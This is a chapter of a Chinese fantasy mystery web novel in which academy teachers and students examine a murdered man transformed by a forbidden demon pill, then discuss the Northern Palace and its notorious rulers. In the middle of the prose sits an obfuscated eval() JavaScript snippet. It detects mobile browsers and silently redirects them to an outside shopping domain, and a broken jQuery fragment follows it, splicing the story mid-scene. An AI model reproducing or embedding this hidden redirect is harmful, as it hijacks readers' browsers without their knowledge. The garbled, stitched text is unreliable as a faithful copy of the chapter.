青山城,学宫,雨夜。
雨水淅淅沥沥落到地面,院长宫内灯火通明,暖黄色的烛火一格格打在地上。
所有人都沉默着,池棠安静地缩在屏风边喝茶,裴方翎站在她的身边,慕雪扬在乐海和庄晓生的身后。
左临的尸体已经僵硬,下巴处的血洞早已干涸,白森森的骨头裸露在外,只要弯下身子就能从创口看到他的脑子,但是没有人会变态到去仔细观察人脑,除了乐海。
“我去,好干净利落的刀口!是个高手。”他虚握起掌心,大臂带动小臂来回挥舞,模拟杀死左临的最后一击,“你们看啊,这个角度的刀口就是典型的左手惯用刀。杀人者对于刀法和力量的运用都到了出神入化的境地。只有到这个地步才能使得刀口如此均匀平整,最大限度同时切断最多血管,达到重创对手的目的。”
“刀路是从下往上的,证明死者在死之前的最后一击是从上往下的。他的身材比杀人者更高大,或者,弹跳力惊人。”庄晓生虽不至于像乐海那样恨不得把眼睛贴上去观察,但也给出了自己的判断。
“他没有武器,所以不得不跳起来扑杀对方。”庄晓生接着说,“如果在那个时候他手上有一把武器,就不会选择如此冒险的策略。跳起来的瞬间占领的制高点,可也将最脆弱的腹部暴露给了敌人,除非他自信自己的速度比杀手更快,否则就是自寻死路。”
“嗯,不错,看来当年在道盟里学的东西还没忘记嘛。”乐海说,“但从刀路的痕迹来看,那个杀手是无可置疑的强者,想来死者做出最后一击的时候,是抱着必死的决心的。”
“仇杀?”慕雪扬皱眉,好看的脑袋微微侧向一边,看上去正在十分努力地理解现状。
乐海慈爱地看着她。
经过整整三个月的磨合,他已经相当了解自己两位最得意的门生了。
裴方翎自然不必说了,武力高天赋好人聪明又靠谱,简直就是完美中的完美,硬要说有些什么缺点,固执算是一个。
凡是他认定的事情,天上下刀子他当看不见;凡是他不想去的,河里流黄金也是扯淡。
跟这样的人打交道很难,但也很简单,只要投其所好就行了。
比如乐海就和池棠建立了非常好的关系,从此以后想要喊裴方翎去做些什么就容易的多了。
而慕雪扬则是另一个极端,裴方翎是固执过头,她是随意过度。
这倒不是说她毫无主见,或者说,她也想有主见,但貌似她并不知道主见是什么东西。
很长一段时间慕雪扬像个幽灵一样游离在外,也就是自从她在郭老太那里住下之后,才渐渐有了点人气。
“嗯嗯,仇杀的确是个很有道理的猜想,但雪扬你设身处地地想一想,如果你要杀掉你的仇人,会选择一个什么样的时间和场合呢?”乐海说。
那她应该会找一个安静的地方,最好是没有人的那种。不是害怕被人看见,只是引起骚动很麻烦,慕雪扬是那种宁愿在树下中躲雨也不愿意走进闹嚷嚷的茶馆休息的人。
“不是,仇杀?”她否认了自己。
“是追杀。”裴方翎缓缓说道。
“诶,你怎么知道?”池棠总算找到机会说话了。这事儿出现在她的店里,她比谁都糟心,一糟心她就想要说话,奈何在场的各位都是对着一个伤口就能分析得头头是道的大佬,她那堪比宝宝彩绘版十万个为什么的知识储量实在搭不上话。
好容易给她找到个能讲话的机会,池棠非常感激地看着裴方翎。
“我想,结仇的必要前提是这两人原本就认识,而农民想要认识皇帝恐怕难于登天。在这场事件中,死者和杀人犯之间的实力差距恐怕不亚于农夫与皇帝。从对死者的丹田测试来看,他并没有灵力;而杀人犯的刀法却臻于化境。放在现实生活中,这两人认识的概率极小,因此我推断仇杀的概率小,而追杀的概率大,有人想要这人的性命。”
乐海眼中充满赞赏的意味:“继续说,你又怎么推断是追杀而不是随意杀人的?”
池棠觉着这两师生一问一答其实是在给她解释案件。
裴方翎掀开遮住左临身体的白布,池棠倒吸一口凉气。
运送尸体的时候乌漆嘛黑的她没有留意,现在到光下一看,她才发现左临的手背竟然鳞片密布,指甲乌青且凸起,像是鳄鱼爪和僵尸的结合体。
“这是怎么回事!他不是人吗?”
“他当然是人,不过自己放弃了做人的权利。道上有一种失传已久的丹术,取大妖妖丹、骨血炼制,能在短时间内帮助修道者提升实力,但同时,过量的妖气会使得人妖化,也就是从人变成妖。”
“那这人就是吃了药才变成这样的吗?可是这种丹法不是已经失传了吗?”
“的确是失传,但是正所谓天下熙熙,皆为利来。只要有利可图,就算是死了几万年的神兽都敢有人再造。”裴方翎眼中迅速闪过一阵寒芒,“死者身上的这种情况就是妖化的表现之一。从鳞片的形态来看,这不是妖化的早期,而是衰退期,在妖化进行到鼎盛的时候,杀人者杀死了他。”
一刀杀死了他......
池棠没由来一阵脊背发凉,不知道为什么听裴方翎云淡风轻地说着这些她竟然感到了害怕,却说不上是为什么在恐惧。
“那,照这么说,杀人者除掉了妖化的人,反倒还是好人咯?”池棠问。
这个问题裴方翎回答不上来,好与坏并不是能如此轻易断定的。假设死者是炼制丹药的人,那便是罪有应得;但若炼制丹药的另有其人,那事情就另当别论了。
而就现在的情况看来,他更倾向死者只是一个牺牲品,炼药的另有其人。
“孰是孰非暂且不能论定,但能肯定的一点是死者死之前还有这种丹药,而杀他的人,大概率是为了药来的。”
“八九不离十吧。”乐海顿了顿,“当然,我是说和我的想法差不多。除了这具遗体,我们还得到了另一件物证。”
乐海从桌子抽屉中取出一只小箱子,打开,里面躺着的是一只白瓷杯,正是池棠店里通用的那种。
从店里过来的时候,她发现上面多出了一朵红莲,便将其一并带了过来。
乐海将红莲转向大家都能看到的地方:“这个东西叫做炽焰红莲,是阵法留下的痕迹。池姑娘说在她离开一楼的时候看到死者仍在吃饭,其实在那个时候他就已经死了,不过是杀人的那位小姐用了一个障眼法。在法术领域之外,所有人看到的是正常的场景。而在领域内,是一场残忍至极的屠杀。”
“值得一提的是,池姑娘还看见了那位姑娘离开。”庄晓生补充。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792944|209356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
乐海:“你怎么不提一下更值得一提的事情,比如周围的商家竟然出奇一致地说没有看见过黑衣女子进出饭店。”
池棠来回搓手臂:“咦惹,说得怪像个鬼故事。”
“有个绝世高手出入闹市如无无人之境,还手起刀落杀人如切菜,也和鬼故事差不多,你说是吧,方翎。”
裴方翎出神地看着瓷杯。
乐海脸上闪过一阵思索:“方翎?”
“北境圣宫为什么这么做?——炽焰红莲是北境圣宫的标识。”裴方翎低头向池棠解释,“传说北境圣宫的入口是一座巨墙,在正中央大门上悬挂的就是红莲标志。”
“噢噢,原来是这样。但是你之前和我说过北境王会来帮助处理肥遗的事情,他们虽然不和道盟在统一战线,但至少也不是什么唯恐天下不乱的组织吧?他们为什么要掺和这些事情?还做的这么——显眼。”
“这也是我想知道的。”裴方翎看向乐海。
大家纷纷看向乐海。
搞得他还挺不好意思的。
“嘿嘿,这个嘛,我也不知道啊。北境自行其是,都不知道多少百年不搭理道盟了,北境王是代代奇葩,个个神奇,我这种道盟底层更是连北境的大门都没见过,怎么知道他们想要做什么?说不准北境王是觉着北边天寒地冻的,打算南下养老,所以准备征服个天下试试?”
“啊?这也太扯了吧。又不是写话本。”池棠忍不住吐槽。
乐海嬉皮笑脸:“哎呀哎呀,这些事情谁说得准呐。这些大人物不就这样吗?闲着没事做了就想整点活计,打打天下啦,征服征服美人啦。何况北境王一脉素来就不太正常,不是冷心冷血的怪物,就是情感过于充沛的浪子。怪物们固步自封,把好好一大块地方弄得冰天雪地寸草不生;那些所谓的浪子周游天地,四处采花,最大的乐趣就是找女人生孩子。最多的一位王听说足足有八十八个后妃,一百三十七个孩子!”
“咦~说浪子都美化他们了吧!这不就是变态加种马吗!这一家子也太品行败坏了吧!”
“咳——”裴方翎垂下眼睛,“其实也并不都是这样的,我读到的书里,大部分北境王还是正常的......”
“哟!方翎还对北境史感兴趣呢?”乐海咧着大牙,“叶夫子对这一块相当有研究,怎么样?赶明儿我让他给你加个座位?”
“不用了,我只是偶尔看看。”
家里有些神奇的人物他也看着心烦。
池棠推了一把裴方翎:“别打岔,后来怎么样了?这一百三十七个孩子怎么样了?争王位不得争得头破血流啊?”
她凑到乐海身边,只恨自己兜里没揣两个瓜子。
乐海:“诶,这倒没有,后来莫名其妙一阵的雪崩,把这群人全给压了,就活了一个男孩,那人就是下一任北境王。”
空气似乎凝滞了一瞬。
池棠缓缓道:“......这可是二百二十五条人命啊,就这样没了?这真的只是一场意外吗?不是什么为了权力啊王位啊的阴谋?”
“呃,也有这种说法。但我私心里更相信真是意外。不然多可怕啊,这些孩子和女人可都算是亲人呐。如果一个人为了权力就要杀死自己一百三十六个兄弟姐妹和八十八位小妈,那这个人还能称之为人吗?”